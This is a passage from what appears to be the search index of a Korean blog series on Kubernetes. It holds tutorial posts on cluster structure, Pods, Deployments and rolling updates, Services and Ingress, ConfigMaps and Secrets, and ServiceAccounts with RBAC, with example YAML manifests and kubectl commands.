# 논리적 격리 단위 labels: # 키-값 태그 (셀렉터로 오브젝트를 고를 때 쓴다) app: my-app version: \u0026#34;1.0\u0026#34; spec: # 원하는 상태 정의 (오브젝트마다 내용이 다르다) ... status: # k8s가 채우는 실제 상태 (직접 수정하지 않는다) ... metadata.labels는 k8s에서 오브젝트를 선택하는 기본 수단이다. Service가 어떤 파드로 트래픽을 보낼지, HPA가 어떤 Deployment를 스케일할지 모두 레이블 셀렉터로 결정한다.\n네임스페이스(namespace) 는 클러스터 안의 논리적 격리 단위다. 같은 클러스터를 개발/스테이징/프로덕션 환경으로 나누거나, 팀별로 분리할 때 쓴다. 네임스페이스 간에는 기본적으로 네트워크 통신은 가능하지만 RBAC으로 접근을 제한할 수 있다.\n이점과 트레이드오프 k8s가 주는 것은 분명하다. 선언적 배포, 자동 확장, 셀프힐링, 풍부한 관측성 생태계 — 규모가 일정 이상이면 이 기능들 없이는 안정적 운영이 어렵다.\n감수하는 것은 복잡성이다. 컨테이너 하나를 실행하기 위해 파드, 디플로이먼트, 서비스 등을 이해하고 YAML로 선언해야 한다. 클러스터 자체를 운영하는 비용(etcd 백업, 버전 업그레이드, 노드 관리)도 만만치 않다. 서비스가 몇 개 안 되거나 팀이 작다면 k8s는 과한 선택이다. k8s가 값어치를 하기 시작하는 시점은 여러 서비스가 독립적으로 스케일링돼야 하거나, 장애 격리와 자동 복구가 운영의 필수 조건이 될 때다.\n","permalink":"https://charminggroot.github.io/posts/011-k8s-cluster-architecture/","summary":"Kubernetes가 무엇인지, 클러스터가 마스터(control plane)와 워커 노드로 어떻게 나뉘는지, 각 컴포넌트가 어떤 역할을 하는지, 그리고 k8s 전체를 관통하는 핵심 개념인 선언적 모델이 무엇인지를 설명한다. 이후 리소스 시리즈의 기반이 되는 글이다.","title":"011. Kubernetes — 클러스터 구조와 선언적 모델"},{"content":"Pod는 k8s에서 배포되는 가장 작은 단위다. Docker에서 컨테이너가 그 역할을 하는 것과 달리, k8s에서는 컨테이너를 직접 다루지 않고 파드를 통해 다룬다. 파드는 하나 이상의 컨테이너를 묶은 래퍼(wrapper)로, 같은 파드 안의 컨테이너들은 같은 네트워크 네임스페이스(= 같은 IP, 같은 포트 공간)와 볼륨을 공유한다.\n왜 컨테이너 위에 파드가 있나 컨테이너 하나만으로 충분한데 왜 파드라는 개념을 하나 더 두는지 의아할 수 있다. 이유는 \u0026ldquo;밀접하게 연관된 컨테이너들을 함께 배치하고 함께 스케일하는\u0026rdquo; 패턴이 실제로 많기 때문이다. 앱 컨테이너 옆에 로그 수집기, 프록시, 설정 동기화 컨테이너를 붙이는 패턴이 대표적이다. 이런 컨테이너들은 같은 노드에 있어야 하고, localhost로 통신해야 하며, 항상 함께 시작되고 종료돼야 한다. 파드가 그 \u0026ldquo;함께 움직이는 단위\u0026quot;를 정의한다.\n파드는 고유한 IP 하나를 갖는다. 파드 안의 컨테이너들은 이 IP를 공유하므로 localhost로 서로 통신한다. 포트 충돌만 없으면 된다.\n파드를 직접 만들어 쓰지 않는 이유 파드 하나를 kubectl apply -f pod.yaml로 만들 수 있지만, 실제로 그렇게 하는 경우는 거의 없다. 파드는 한번 죽으면 그냥 사라지기 때문이다. k8s는 직접 만든 파드를 다시 살려주지 않는다. 파드가 실행 중인 노드가 죽어도, 파드 안 컨테이너가 계속 실패해도 마찬가지다.\n실제 운영에서는 파드를 직접 정의하는 대신 파드를 관리해 주는 상위 오브젝트를 쓴다. Deployment가 파드 개수를 유지하고 업데이트를 관리하며, DaemonSet이 모든 노드에 파드를 올리고, StatefulSet이 순서와 영구 저장소가 필요한 파드를 다룬다. 이 상위 오브젝트들이 파드 템플릿을 갖고 있고, 필요할 때 파드를 만들고 죽이는 일을 맡는다.\n파드 정의 파드 정의에서 핵심은 spec.containers다.\napiVersion: v1 kind: Pod metadata: name: my-app labels: app: my-app spec: containers: - name: app image: my-app:1.0.0 ports: - containerPort: 8080 env: - name: ENV value: production resources: requests: cpu: \u0026#34;100m\u0026#34; # 0.1 코어 memory: \u0026#34;128Mi\u0026#34; limits: cpu: \u0026#34;500m\u0026#34; memory: \u0026#34;512Mi\u0026#34; - name: log-collector # 사이드카 컨테이너 image: fluentd:latest volumeMounts: - name: app-logs mountPath: /var/log/app volumes: - name: app-logs emptyDir: {} 리소스 요청(requests)과 제한(limits) 파드 정의에서 resources는 운영에서 가장 중요한 설정 중 하나다.\nrequests는 이 컨테이너가 실행되기 위해 보장받아야 할 최소 자원이다. 스케줄러는 이 값을 보고 요청을 감당할 여유가 있는 노드를 고른다. 요청한 만큼은 이 파드를 위해 노드에 예약된다.\nlimits는 이 컨테이너가 쓸 수 있는 최대 자원이다. CPU가 limits를 초과하면 스로틀링(throttling)이 걸려 속도가 느려진다. 메모리가 limits를 초과하면 컨테이너가 OOMKilled(Out of Memory Kill)로 종료된다.\nCPU는 m(밀리코어) 단위로 표현한다. 100m은 1코어의 10%다. 메모리는 Mi(메비바이트), Gi(기비바이트) 단위를 쓴다.\n실무에서 이 설정을 제대로 안 하면 두 가지 문제가 생긴다. requests 없이 limits만 있으면 스케줄러가 파드를 아무 노드에나 올려도 되는 줄 알고 이미 꽉 찬 노드에 올릴 수 있다. requests를 너무 크게 잡으면 노드에 실제로 여유가 있어도 스케줄러가 올릴 자리가 없다고 판단해 파드가 Pending 상태로 멈춘다. HPA가 CPU 사용률을 기준으로 스케일하려면 requests가 반드시 있어야 한다 — 사용률은 requests 대비로 계산되기 때문이다.\n파드의 라이프사이클 파드는 생성부터 종료까지 여러 상태를 거친다.\nPending: 파드가 생성됐지만 아직 노드에 스케줄되지 않았거나, 이미지를 받는 중이다.\nRunning: 적어도 하나의 컨테이너가 실행 중이다. 모든 컨테이너가 정상이라는 뜻은 아니다.\nSucceeded: 모든 컨테이너가 정상적으로 종료됐다(exit code 0). 배치 작업에서 볼 수 있다.\nFailed: 하나 이상의 컨테이너가 실패로 종료됐다.\nUnknown: API Server가 파드 상태를 알 수 없는 상태. 보통 파드가 실행 중인 노드와 통신이 끊겼을 때다.\n컨테이너 재시작 정책(restartPolicy)이 이 전환에 영향을 준다. Always(기본값, 항상 재시작), OnFailure(실패 시에만), Never(재시작 안 함)가 있다. 배치 잡은 OnFailure나 Never를 쓴다.\n초기화 컨테이너(init container) 파드의 메인 컨테이너들이 시작하기 전에 순서대로 실행되는 컨테이너다. 모든 초기화 컨테이너가 성공적으로 종료돼야 메인 컨테이너가 시작된다.\nspec: initContainers: - name: wait-for-db image: busybox command: [\u0026#39;sh\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;until nc -z db-service 5432; do sleep 2; done\u0026#39;] containers: - name: app image: my-app:1.0.0 \u0026ldquo;DB가 뜰 때까지 기다렸다가 앱을 시작한다\u0026rdquo;, \u0026ldquo;앱에 필요한 설정 파일을 볼륨에 내려받는다\u0026rdquo;, \u0026ldquo;DB 마이그레이션을 먼저 실행한다\u0026quot;처럼 메인 앱 시작 전에 선행돼야 할 작업에 쓴다. 의존성이 있는 서비스 간 시작 순서를 맞추는 가장 깔끔한 방법이다.\n사이드카 패턴 메인 컨테이너와 함께 같은 파드 안에서 실행되는 보조 컨테이너를 사이드카(sidecar)라 한다. 오토바이의 사이드카처럼 메인 몸체를 보조하는 역할이다.\n대표적인 사이드카 용도:\n로그 수집: 앱 컨테이너가 파일에 로그를 쓰면, 로그 수집기(Fluentd, Filebeat)가 같은 볼륨을 마운트해 읽어 중앙으로 보낸다. 프록시: Envoy, Istio의 사이드카 프록시가 앱 컨테이너의 모든 트래픽을 가로채 트레이싱·메트릭 수집·트래픽 제어를 한다. 서비스 메시가 이 패턴으로 동작한다. 설정 동기화: 외부 설정 소스(Vault, etcd)를 주기적으로 읽어 로컬 파일로 내려주는 컨테이너. 사이드카의 장점은 메인 앱 코드를 건드리지 않고 기능을 붙인다는 것이다. 단점은 파드마다 사이드카가 따라붙으므로 그만큼 자원이 더 든다는 것이다.\n트레이드오프 파드는 k8s의 모든 것의 토대다. 잘 이해하면 이후 Deployment, Service, DaemonSet 같은 상위 오브젝트들이 파드 위에서 어떻게 동작하는지 자연스럽게 따라온다.\n주의할 점은 파드가 일시적(ephemeral) 이라는 것이다. 파드는 언제든 죽고 새로 만들어질 수 있다. IP가 바뀌고, 로컬 파일시스템(emptyDir)이 사라진다. 상태를 파드 안에 저장하면 안 된다. 영구 저장이 필요하면 PersistentVolume을 붙이거나, 상태를 외부 저장소(DB, 오브젝트 스토리지)에 두어야 한다. 이 일시성을 설계의 전제로 받아들이는 것이 k8s 위에서 서비스를 설계하는 출발점이다.\n","permalink":"https://charminggroot.github.io/posts/012-k8s-pod/","summary":"Pod는 k8s에서 배포되는 가장 작은 단위다. 컨테이너가 하나 이상 묶인 실행 단위이고, 같은 파드 안의 컨테이너들은 네트워크와 볼륨을 공유한다. 파드의 라이프사이클, 리소스 요청과 제한, 사이드카 패턴, 초기화 컨테이너가 무엇인지, 그리고 파드를 직접 만들어 쓰지 않는 이유를 설명한다.","title":"012. Kubernetes Pod — 컨테이너를 감싸는 가장 작은 실행 단위"},{"content":"파드를 직접 만들면 그 파드가 죽었을 때 아무도 다시 살려주지 않는다. Deployment는 이 문제를 해결하는 오브젝트다. \u0026ldquo;이 파드를 3개 유지하라\u0026quot;를 선언하면 파드가 죽을 때마다 새로 만들어 항상 3개를 유지하고, 새 버전으로 업데이트할 때는 트래픽을 끊지 않고 하나씩 교체한다. k8s에서 웹 서버, API 서버처럼 상시 실행되는 거의 모든 서비스는 Deployment로 배포된다.\nDeployment, ReplicaSet, Pod의 관계 Deployment는 파드를 직접 만들지 않는다. 중간에 ReplicaSet이 있다.\nDeployment └── ReplicaSet (버전 A) ← 현재 활성 ├── Pod ├── Pod └── Pod └── ReplicaSet (버전 B) ← 이전 버전 (롤백용으로 보존) ReplicaSet이 파드 개수를 유지하는 실제 컨트롤러다. Deployment는 ReplicaSet들을 관리하면서 업데이트와 롤백을 조율하는 한 층 위의 오브젝트다.\n버전을 올리면 Deployment가 새 ReplicaSet을 만들고, 거기서 새 파드를 하나씩 띄우면서 이전 ReplicaSet의 파드를 하나씩 줄인다. 이전 ReplicaSet은 파드 수 0으로 보존되므로, 롤백 시 그 ReplicaSet의 파드 수를 다시 올리면 된다.\n기본 구조 apiVersion: apps/v1 kind: Deployment metadata: name: my-app spec: replicas: 3 selector: matchLabels: app: my-app # 이 레이블을 가진 파드를 이 Deployment가 관리한다 strategy: type: RollingUpdate rollingUpdate: maxSurge: 1 # 업데이트 중 원하는 수보다 최대 몇 개 더 만들어도 되는가 maxUnavailable: 0 # 업데이트 중 최대 몇 개까지 동시에 내려도 되는가 template: # 만들 파드의 템플릿 metadata: labels: app: my-app # selector의 matchLabels와 일치해야 한다 spec: containers: - name: my-app image: my-app:1.0.0 resources: requests: cpu: \u0026#34;100m\u0026#34; memory: \u0026#34;128Mi\u0026#34; limits: cpu: \u0026#34;500m\u0026#34; memory: \u0026#34;512Mi\u0026#34; selector.matchLabels와 template.metadata.labels가 일치해야 한다. Deployment는 이 레이블로 자신이 관리해야 할 파드를 찾는다.\n롤링 업데이트 — 무중단 배포 이미지 버전을 바꾸면 Deployment가 롤링 업데이트(Rolling Update)를 시작한다. 모든 파드를 한 번에 교체하지 않고, 일부씩 교체하면서 서비스를 유지한다.\n롤링 업데이트의 진행은 두 파라미터로 제어한다.\nmaxSurge는 업데이트 도중 desired 수보다 얼마나 더 만들어도 되는지다. replicas: 3, maxSurge: 1이면 업데이트 중 최대 4개까지 파드가 동시에 실행될 수 있다.\nmaxUnavailable은 업데이트 도중 몇 개가 동시에 내려가도 되는지다. maxUnavailable: 0이면 새 파드가 Ready 상태가 되기 전까지 이전 파드를 내리지 않는다. 이 설정이 무중단 배포를 보장한다.\n초기 상태: [v1] [v1] [v1] maxSurge=1, maxUnavailable=0 step 1: [v1] [v1] [v1] [v2] 새 파드 1개 추가 (surge) step 2: [v1] [v1] [v2] v2 Ready → v1 하나 종료 step 3: [v1] [v1] [v2] [v2] 새 파드 1개 추가 step 4: [v1] [v2] [v2] v2 Ready → v1 하나 종료 step 5: [v1] [v2] [v2] [v2] 새 파드 1개 추가 step 6: [v2] [v2] [v2] v2 Ready → 마지막 v1 종료 maxSurge와 maxUnavailable은 절대값(1, 2) 또는 퍼센트(25%)로 지정할 수 있다. 기본값은 둘 다 25%다. 파드가 4개라면 1개씩 교체한다는 뜻이다.\nRecreate 전략 type: Recreate를 쓰면 모든 이전 파드를 다 내리고 새 파드를 올린다. 그 사이에 서비스가 잠깐 중단된다. DB 스키마 변경처럼 이전 버전과 새 버전이 동시에 실행되면 안 되는 경우에 쓴다.\n롤백 배포 후 문제가 발견되면 이전 버전으로 되돌릴 수 있다.\n# 직전 버전으로 롤백 kubectl rollout undo deployment/my-app # 특정 리비전으로 롤백 kubectl rollout undo deployment/my-app --to-revision=2 # 리비전 히스토리 확인 kubectl rollout history deployment/my-app # 현재 롤아웃 상태 확인 kubectl rollout status deployment/my-app Deployment는 기본적으로 최근 10개의 ReplicaSet 히스토리를 보존한다(revisionHistoryLimit, 기본값 10). 이 덕분에 특정 리비전으로 롤백이 가능하다. 히스토리를 너무 많이 쌓으면 사용하지 않는 ReplicaSet이 많아지므로, 실무에서는 3~5 정도로 줄이는 경우가 많다.\n배포 일시 정지와 재개 큰 변경사항을 여러 번 업데이트하면서 한꺼번에 적용하고 싶을 때, 롤아웃을 일시 정지할 수 있다.\n# 배포 일시 정지 (이후 변경사항이 바로 적용되지 않는다) kubectl rollout pause deployment/my-app # 이미지 변경 kubectl set image deployment/my-app my-app=my-app:2.0.0 # 환경변수 변경 kubectl set env deployment/my-app ENV=staging # 준비됐으면 재개 (위의 모든 변경이 한꺼번에 롤아웃된다) kubectl rollout resume deployment/my-app minReadySeconds — 성급한 롤아웃 방지 spec: minReadySeconds: 10 새 파드가 Ready 상태가 된 후 이 초만큼 기다렸다가 다음 파드를 교체한다. 파드가 Ready 직후 크래시하는 경우, 이 설정이 없으면 롤아웃이 너무 빨리 진행돼 모든 파드가 크래시하는 상태가 될 수 있다. 10~30초 정도를 주면 새 파드가 안정적으로 동작하는지 짧게 검증하는 여유가 생긴다.\n트레이드오프 롤링 업데이트의 핵심 감수 사항은 업데이트 중에 이전 버전과 새 버전이 동시에 트래픽을 받는다는 것이다. API가 하위 호환이 안 되거나, DB 스키마가 새 버전에만 맞는 구조라면 롤링 업데이트 중에 오류가 난다. 이를 피하려면 API 변경 시 하위 호환을 유지하거나, 스키마를 먼저 배포하고 앱을 나중에 배포하는 단계적 접근이 필요하다.\n또한 롤백은 파드만 되돌린다. DB 마이그레이션은 함께 롤백되지 않는다. 배포 후 롤백이 필요한 상황에서 DB 변경이 있었다면, 파드 롤백과 DB 롤백을 별도로 처리해야 한다.\n","permalink":"https://charminggroot.github.io/posts/013-k8s-deployment/","summary":"Deployment는 파드를 직접 만드는 대신 \u0026lsquo;몇 개를 유지할지, 어떻게 업데이트할지\u0026rsquo;를 선언하는 오브젝트다. 내부적으로 ReplicaSet을 통해 파드를 관리하고, 롤링 업데이트로 무중단 배포를 하며, 문제가 생기면 이전 버전으로 롤백한다. 이 과정이 어떻게 동작하는지, 전략 파라미터를 어떻게 조절하는지를 설명한다.","title":"013. Kubernetes Deployment — 파드 배포와 업데이트를 관리하는 오브젝트"},{"content":"파드는 죽었다 새로 만들어지면 IP가 바뀐다. Deployment가 파드를 자동으로 재생성하니 IP가 언제 바뀔지 알 수 없다. 그래서 파드 IP로 직접 통신하면 안 된다. Service는 이 문제를 해결한다. 레이블 셀렉터로 파드를 찾아 그 앞에 서서, 항상 같은 주소(가상 IP 또는 DNS 이름) 를 제공하고 뒤에 있는 파드들 사이에 로드밸런싱한다. 파드가 죽고 새로 만들어져도 Service는 자동으로 새 파드를 발견한다.\n동작 원리 Service가 생성되면 k8s는 ClusterIP라는 가상 IP를 하나 할당한다. 이 IP는 Service가 살아있는 한 변하지 않는다. 실제 트래픽은 kube-proxy가 각 노드에서 iptables 또는 IPVS 규칙을 관리하며 실제 파드 IP로 라우팅한다.\nService는 Endpoints 오브젝트를 통해 실제 파드 IP 목록을 관리한다. Endpoints 컨트롤러가 레이블 셀렉터와 일치하는 파드의 Ready 상태를 감시하면서, 파드가 추가·제거되거나 Readiness probe 결과가 바뀔 때마다 Endpoints를 갱신한다. kube-proxy는 이 Endpoints를 보고 라우팅 규칙을 업데이트한다.\napiVersion: v1 kind: Service metadata: name: my-app-service spec: selector: app: my-app # 이 레이블을 가진 파드들로 트래픽을 보낸다 ports: - protocol: TCP port: 80 # Service가 받는 포트 targetPort: 8080 # 파드가 실제로 listening하는 포트 type: ClusterIP # 기본값 타입 1: ClusterIP 클러스터 내부에서만 접근 가능한 가상 IP를 할당한다. 기본 타입이다. 같은 클러스터 안의 다른 파드들이 이 Service를 호출할 수 있지만, 클러스터 외부에서는 직접 접근할 수 없다.\n서비스 간 내부 통신에 쓴다. 주문 서비스가 결제 서비스를 호출할 때, 결제 서비스의 파드 IP를 알 필요 없이 payment-service:8080처럼 Service 이름으로 부를 수 있다.\n타입 2: NodePort ClusterIP 기능에 더해, 모든 워커 노드의 특정 포트를 열어 클러스터 외부에서도 접근할 수 있게 한다. 노드의 IP 주소와 NodePort로 들어온 트래픽이 Service로 연결된다.\nspec: type: NodePort ports: - port: 80 targetPort: 8080 nodePort: 30080 # 30000~32767 범위, 명시 안 하면 자동 할당 외부에서 \u0026lt;노드IP\u0026gt;:30080으로 접근하면 Service가 받아 파드로 전달한다. 개발·테스트 환경에서 빠르게 외부 접근을 열 때 유용하다. 프로덕션에서 직접 쓰기는 어렵다 — 노드 IP가 바뀔 수 있고, 30000번대 포트를 외부에 노출하는 것은 보안상 좋지 않으며, 노드가 여러 대면 앞에 별도 로드밸런서가 있어야 한다.\n타입 3: LoadBalancer 클라우드 환경(AWS, GCP, Azure 등)에서 외부 로드밸런서를 자동으로 생성해 Service에 연결한다. 클라우드 프로바이더가 로드밸런서를 만들고, 그 외부 IP를 Service에 달아준다.\nspec: type: LoadBalancer ports: - port: 443 targetPort: 8080 kubectl get svc로 보면 EXTERNAL-IP 열에 외부 IP가 붙는다. 프로덕션에서 외부 트래픽을 받는 표준 방법이다. 단점은 Service마다 로드밸런서가 하나씩 생성돼 비용이 붙는다는 것이다. 서비스가 많아지면 비용이 선형으로 늘어난다.\nIngress — HTTP(S) 트래픽의 단일 진입점 LoadBalancer의 \u0026ldquo;Service마다 로드밸런서 하나\u0026rdquo; 문제를 해결하는 것이 Ingress다. Ingress는 HTTP/HTTPS 트래픽을 위한 단일 진입점으로, 로드밸런서 하나가 URL 경로나 호스트 이름을 기준으로 여러 Service로 트래픽을 분배한다.\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: rules: - host: api.example.com http: paths: - path: /orders pathType: Prefix backend: service: name: order-service port: number: 80 - path: /payments pathType: Prefix backend: service: name: payment-service port: number: 80 tls: - hosts: - api.example.com secretName: tls-secret # TLS 인증서 Ingress 오브젝트만으로는 동작하지 않는다. Ingress Controller가 클러스터에 설치돼 있어야 한다. nginx-ingress, Traefik, AWS ALB Ingress Controller 등이 있다. Ingress Controller가 Ingress 오브젝트를 감시하면서 실제 로드밸런서 설정을 갱신한다.\n실무에서는 외부 트래픽은 Ingress로, 서비스 간 내부 통신은 ClusterIP Service로 처리하는 것이 일반적이다.\nk8s 내부 DNS k8s는 클러스터 안에 DNS 서버(CoreDNS)를 두어 Service 이름으로 통신할 수 있게 한다. Service가 만들어지면 자동으로 DNS 레코드가 생성된다.\n형식은 \u0026lt;서비스이름\u0026gt;.\u0026lt;네임스페이스\u0026gt;.svc.cluster.local이다. 같은 네임스페이스 안에서는 서비스 이름만으로 접근할 수 있다. 다른 네임스페이스 서비스에 접근할 때는 payment-service.finance.svc.cluster.local처럼 네임스페이스를 포함한 이름을 쓴다.\n파드 안에서 curl http://my-app-service/api처럼 Service 이름으로 호출하면 CoreDNS가 해당 Service의 ClusterIP로 해석해 준다. 파드 IP가 바뀌어도, 파드가 몇 개로 늘어나도 이 DNS 이름은 변하지 않는다.\n헤드리스 서비스(Headless Service) clusterIP: None으로 설정하면 가상 IP 없이 DNS가 파드 IP들을 직접 반환하는 헤드리스 서비스가 된다. StatefulSet과 함께 쓰여 각 파드에 안정적인 DNS 이름을 부여하는 데 쓴다. 예를 들어 Redis Cluster에서 각 노드에 직접 접근해야 할 때 유용하다.\n트레이드오프 Service의 로드밸런싱은 기본적으로 랜덤 또는 라운드로빈이다. 요청 크기나 파드의 현재 부하를 고려하지 않는다. 처리 시간이 긴 요청이 특정 파드에 몰리면 그 파드만 느려지는 상황이 생길 수 있다. 이를 더 정교하게 제어하려면 Envoy 같은 레이어 7 프록시나 서비스 메시(Istio 등)가 필요하다.\n또한 Service는 TCP/UDP 레벨에서 동작한다. HTTP 헤더, 경로, 메서드를 기준으로 라우팅하려면 Ingress나 서비스 메시를 써야 한다.\n","permalink":"https://charminggroot.github.io/posts/014-k8s-service/","summary":"파드는 죽었다 새로 만들어지면 IP가 바뀐다. Service는 파드 앞에 서서 항상 같은 주소로 트래픽을 받고, 뒤에 있는 파드들 사이에 로드밸런싱한다. ClusterIP, NodePort, LoadBalancer 세 타입의 차이, Ingress와의 관계, k8s 내부 DNS가 어떻게 동작하는지를 설명한다.","title":"014. Kubernetes Service — 파드 앞에 세우는 고정 엔드포인트"},{"content":"설정값을 컨테이너 이미지 안에 하드코딩하면 환경(개발/스테이징/프로덕션)마다 이미지를 다시 빌드해야 한다. ConfigMap과 Secret은 설정값을 이미지와 분리해 k8s 오브젝트로 관리하고, 파드가 시작할 때 주입하는 방식이다. 이미지는 환경에 관계없이 동일하고, 환경마다 다른 값은 오브젝트만 바꾸면 된다.\nConfigMap ConfigMap은 민감하지 않은 일반 설정값을 저장한다. 환경 이름, 로그 레벨, 타임아웃, 외부 서비스 URL 같은 것들이다.\napiVersion: v1 kind: ConfigMap metadata: name: app-config data: LOG_LEVEL: \u0026#34;info\u0026#34; TIMEOUT: \u0026#34;30\u0026#34; DB_HOST: \u0026#34;postgres-service\u0026#34; app.properties: | server.port=8080 logging.level.root=info feature.new-ui=true data의 값은 문자열이다. 단순 키-값뿐 아니라 파이프(|)를 써서 설정 파일 전체를 통째로 담을 수도 있다.\nSecret Secret은 민감한 값 — 비밀번호, API 키, 토큰, 인증서 — 을 저장한다.\napiVersion: v1 kind: Secret metadata: name: app-secret type: Opaque data: DB_PASSWORD: cGFzc3dvcmQxMjM= # base64 인코딩된 값 API_KEY: c2VjcmV0a2V5 # base64 인코딩된 값 stringData: # 평문으로 쓰면 k8s가 알아서 base64 변환 ANOTHER_KEY: \u0026#34;plaintext-value\u0026#34; 중요: base64는 암호화가 아니다 많은 사람이 Secret이 암호화돼 있다고 오해한다. 기본 상태에서 Secret의 값은 base64 인코딩일 뿐이다. 누구나 echo cGFzc3dvcmQxMjM= | base64 -d로 원래 값을 복원할 수 있다. etcd에 저장될 때도 base64 인코딩된 채로, 즉 사실상 평문으로 저장된다.\nSecret이 ConfigMap과 다른 이유는 암호화 때문이 아니라 접근 제어(RBAC) 분리 때문이다. ConfigMap은 일반 개발자도 읽을 수 있게 하고, Secret은 꼭 필요한 서비스 계정만 읽을 수 있도록 RBAC으로 제한하는 것이다. 또한 Secret에 접근한 이력이 감사 로그에 남는다.\n진짜 암호화가 필요하다면 두 가지 방법이 있다.\nEncryption at rest: etcd에 저장할 때 암호화하도록 API Server를 설정한다. 클러스터 관리자가 EncryptionConfiguration을 설정하면 이후 Secret은 암호화돼 저장된다. etcd 파일을 직접 뒤져도 값을 읽을 수 없다.\nExternal secrets manager: HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager 같은 전용 비밀 관리 도구를 쓴다. External Secrets Operator 같은 도구가 외부 저장소에서 값을 읽어 k8s Secret으로 동기화한다. 비밀 값이 k8s에 직접 저장되지 않고, 접근 이력 추적과 자동 교체(rotation) 같은 고급 기능을 쓸 수 있다. 프로덕션에서 가장 권장되는 방식이다.\n파드에 주입하는 두 가지 방법 방법 1: 환경변수로 주입 spec: containers: - name: app image: my-app:1.0.0 env: # ConfigMap에서 개별 키 가져오기 - name: LOG_LEVEL valueFrom: configMapKeyRef: name: app-config key: LOG_LEVEL # Secret에서 개별 키 가져오기 - name: DB_PASSWORD valueFrom: secretKeyRef: name: app-secret key: DB_PASSWORD # ConfigMap 전체를 환경변수로 한꺼번에 주입 envFrom: - configMapRef: name: app-config - secretRef: name: app-secret 환경변수로 주입하면 앱 코드에서 os.environ['LOG_LEVEL']처럼 읽을 수 있어 단순하다. 단점은 파드가 시작할 때 값이 고정된다는 것이다. ConfigMap이나 Secret을 나중에 바꿔도 실행 중인 파드의 환경변수는 바뀌지 않는다. 새 값을 반영하려면 파드를 재시작해야 한다.\n방법 2: 볼륨으로 마운트 spec: containers: - name: app volumeMounts: - name: config-volume mountPath: /etc/config # 이 경로에 파일로 마운트됨 - name: secret-volume mountPath: /etc/secrets readOnly: true # Secret은 읽기 전용으로 마운트하는 게 안전하다 volumes: - name: config-volume configMap: name: app-config - name: secret-volume secret: secretName: app-secret ConfigMap의 각 키가 파일 하나로 마운트된다. app-config에 LOG_LEVEL: \u0026quot;info\u0026quot;가 있으면 /etc/config/LOG_LEVEL 파일에 info가 내용으로 들어간다. app.properties 키로 담은 설정 파일 전체는 /etc/config/app.properties 파일로 마운트된다.\n볼륨 마운트의 핵심 장점은 ConfigMap이 갱신되면 마운트된 파일도 자동으로 갱신된다는 것이다(약 1~2분 지연). 앱이 설정 파일을 주기적으로 다시 읽거나 파일 변경을 감지(inotify)하면 파드 재시작 없이 설정을 반영할 수 있다.\n불변 ConfigMap / Secret metadata: name: app-config immutable: true immutable: true를 설정하면 이 오브젝트는 이후 수정할 수 없다. k8s가 변경 감시를 위한 watch를 걸지 않아도 돼서 API Server 부하가 줄어든다. 설정이 자주 바뀌지 않는다면 성능 최적화로 고려할 수 있다. 변경이 필요하면 새 이름으로 만들고 파드 정의를 업데이트해야 한다.\n트레이드오프 환경변수 vs 볼륨 마운트의 선택은 갱신 빈도가 기준이다. 자주 바뀌지 않는 설정은 환경변수가 단순하고, 재시작 없이 설정을 반영해야 한다면 볼륨 마운트가 맞다.\n더 근본적인 트레이드오프는 Secret을 k8s에 직접 저장할 것이냐, 외부 비밀 관리 도구를 쓸 것이냐다. 직접 저장하면 단순하지만 etcd 암호화, RBAC 세밀한 설정, Secret rotation을 모두 직접 관리해야 한다. 외부 도구를 쓰면 운영 복잡성이 올라가지만 감사 추적, 자동 교체, 비밀 값 k8s 미저장 같은 보안 수준을 얻는다. 규제가 있거나 보안이 중요한 서비스라면 외부 도구 연동이 사실상 필수다.\n","permalink":"https://charminggroot.github.io/posts/015-k8s-configmap-secret/","summary":"설정값을 컨테이너 이미지에 박으면 환경마다 이미지를 다시 빌드해야 한다. ConfigMap은 일반 설정을, Secret은 민감한 값을 파드와 분리해 관리한다. 주입 방식(환경변수, 볼륨), Secret의 base64가 암호화가 아닌 이유, 프로덕션에서 실제로 안전하게 관리하는 방법을 설명한다.","title":"015. Kubernetes ConfigMap \u0026 Secret — 설정과 민감한 값을 파드와 분리하는 방법"},{"content":"파드가 k8s API Server에 요청을 보낼 때 — ConfigMap을 읽거나, 다른 파드 목록을 조회하거나, Deployment를 수정하는 등 — 그 요청이 허용되는지 판단하려면 \u0026ldquo;이 요청을 보낸 게 누구인가\u0026quot;를 알아야 한다. 사람에게 사용자 계정이 있듯, 파드에는 ServiceAccount가 있다.\nServiceAccount가 필요한 이유 많은 서비스는 API Server를 직접 호출하지 않는다. 하지만 다음 경우에는 반드시 필요하다.\nCI/CD 파이프라인이 Deployment를 업데이트한다 Operator나 컨트롤러가 파드나 서비스를 감시하고 수정한다 앱이 자신이 실행 중인 노드 정보를 조회한다 Prometheus가 파드의 메트릭 엔드포인트 목록을 k8s API에서 가져온다 Vault Agent가 API Server에서 파드의 신원을 검증한다 파드에 ServiceAccount를 명시하지 않으면 네임스페이스의 default ServiceAccount가 자동 할당된다. 이 기본 ServiceAccount는 권한이 없으므로 대부분의 API 호출이 차단된다.\nServiceAccount 토큰 파드가 시작되면 ServiceAccount에 연결된 JWT 토큰이 파드 안의 고정 경로(/var/run/secrets/kubernetes.io/serviceaccount/token)에 자동 마운트된다. API Server에 요청할 때 이 토큰을 Authorization: Bearer \u0026lt;token\u0026gt; 헤더에 담아 보내면 API Server가 신원을 확인한다.\n파드 → API Server 요청 → API Server가 토큰 검증 ↓ RBAC: 이 ServiceAccount에 이 작업이 허용돼 있나? ↓ 허용 → 응답 / 거부 → 403 RBAC — 역할 기반 접근 제어 RBAC(Role-Based Access Control)은 \u0026ldquo;누가 어떤 리소스에 어떤 작업을 할 수 있는가\u0026quot;를 정의하는 체계다. 네 가지 오브젝트로 구성된다.\nRole: 특정 네임스페이스 안에서 허용할 권한을 정의한다.\napiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: pod-reader namespace: production rules: - apiGroups: [\u0026#34;\u0026#34;] # \u0026#34;\u0026#34; = core API 그룹 resources: [\u0026#34;pods\u0026#34;] verbs: [\u0026#34;get\u0026#34;, \u0026#34;list\u0026#34;, \u0026#34;watch\u0026#34;] - apiGroups: [\u0026#34;\u0026#34;] resources: [\u0026#34;configmaps\u0026#34;] verbs: [\u0026#34;get\u0026#34;] verbs는 허용할 동작이다. get, list, watch, create, update, patch, delete가 있다. \u0026quot;*\u0026quot;는 전체 허용.\nClusterRole: Role과 같지만 특정 네임스페이스가 아니라 클러스터 전체 또는 네임스페이스가 없는 리소스(Node, PersistentVolume 등)에 대한 권한을 정의한다.\nRoleBinding: Role을 특정 대상(ServiceAccount, 사용자, 그룹)에 연결한다. 